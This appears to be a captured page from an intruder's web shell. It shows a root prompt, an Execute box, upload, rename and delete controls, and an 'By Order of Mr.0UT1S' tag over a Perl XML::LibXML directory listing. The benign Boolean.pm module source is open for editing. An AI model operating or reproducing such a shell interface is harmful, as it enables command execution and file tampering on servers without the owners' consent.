usr
/
local
/
lib64
/
perl5
/
XML
/
LibXML
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] SAX
N/A
Attr.pod
4.02 KB
Rename
Delete
AttributeHash.pm
4.49 KB
Rename
Delete
Boolean.pm
1.56 KB
Rename
Delete
CDATASection.pod
1.28 KB
Rename
Delete
Comment.pod
1.36 KB
Rename
Delete
Common.pm
8.20 KB
Rename
Delete
Common.pod
3.59 KB
Rename
Delete
DOM.pod
6.23 KB
Rename
Delete
Devel.pm
4.91 KB
Rename
Delete
Document.pod
21.09 KB
Rename
Delete
DocumentFragment.pod
819 bytes
Rename
Delete
Dtd.pod
1.99 KB
Rename
Delete
Element.pod
13.48 KB
Rename
Delete
ErrNo.pm
27.83 KB
Rename
Delete
ErrNo.pod
591 bytes
Rename
Delete
Error.pm
8.45 KB
Rename
Delete
Error.pod
5.98 KB
Rename
Delete
InputCallback.pod
9.59 KB
Rename
Delete
Literal.pm
2.04 KB
Rename
Delete
Namespace.pod
3.28 KB
Rename
Delete
Node.pod
25.67 KB
Rename
Delete
NodeList.pm
7.31 KB
Rename
Delete
Number.pm
1.87 KB
Rename
Delete
PI.pod
2.22 KB
Rename
Delete
Parser.pod
27.79 KB
Rename
Delete
Pattern.pod
2.91 KB
Rename
Delete
Reader.pm
5.75 KB
Rename
Delete
Reader.pod
17.60 KB
Rename
Delete
RegExp.pod
1.54 KB
Rename
Delete
RelaxNG.pod
2.34 KB
Rename
Delete
SAX.pm
3.45 KB
Rename
Delete
SAX.pod
1.76 KB
Rename
Delete
Schema.pod
2.19 KB
Rename
Delete
Text.pod
5.47 KB
Rename
Delete
XPathContext.pm
3.15 KB
Rename
Delete
XPathContext.pod
11.49 KB
Rename
Delete
XPathExpression.pod
1.64 KB
Rename
Delete
# $Id$ # # # This is free software, you may use it and distribute it under the same terms as # Perl itself. # # Copyright 2001-2003 AxKit.com Ltd., 2002-2006 Christian Glahn, 2006-2009 Petr Pajas # # package XML::LibXML::Boolean; use XML::LibXML::Number; use XML::LibXML::Literal; use strict; use warnings; use vars qw ($VERSION); $VERSION = "2.0210"; # VERSION TEMPLATE: DO NOT CHANGE use overload '""' => \&value, '<=>' => \&cmp; sub new { my $class = shift; my ($param) = @_; my $val = $param ? 1 : 0; bless \$val, $class; } sub True { my $class = shift; my $val = 1; bless \$val, $class; } sub False { my $class = shift; my $val = 0; bless \$val, $class; } sub value { my $self = shift; $$self; } sub cmp { my $self = shift; my ($other, $swap) = @_; if ($swap) { return $other <=> $$self; } return $$self <=> $other; } sub to_number { XML::LibXML::Number->new($_[0]->value); } sub to_boolean { $_[0]; } sub to_literal { XML::LibXML::Literal->new($_[0]->value ? "true" : "false"); } sub string_value { return $_[0]->to_literal->value; } 1; __END__ =head1 NAME XML::LibXML::Boolean - Boolean true/false values =head1 DESCRIPTION XML::LibXML::Boolean objects implement simple boolean true/false objects. =head1 API =head2 XML::LibXML::Boolean->True Creates a new Boolean object with a true value. =head2 XML::LibXML::Boolean->False Creates a new Boolean object with a false value. =head2 value() Returns true or false. =head2 to_literal() Returns the string "true" or "false". =cut
Save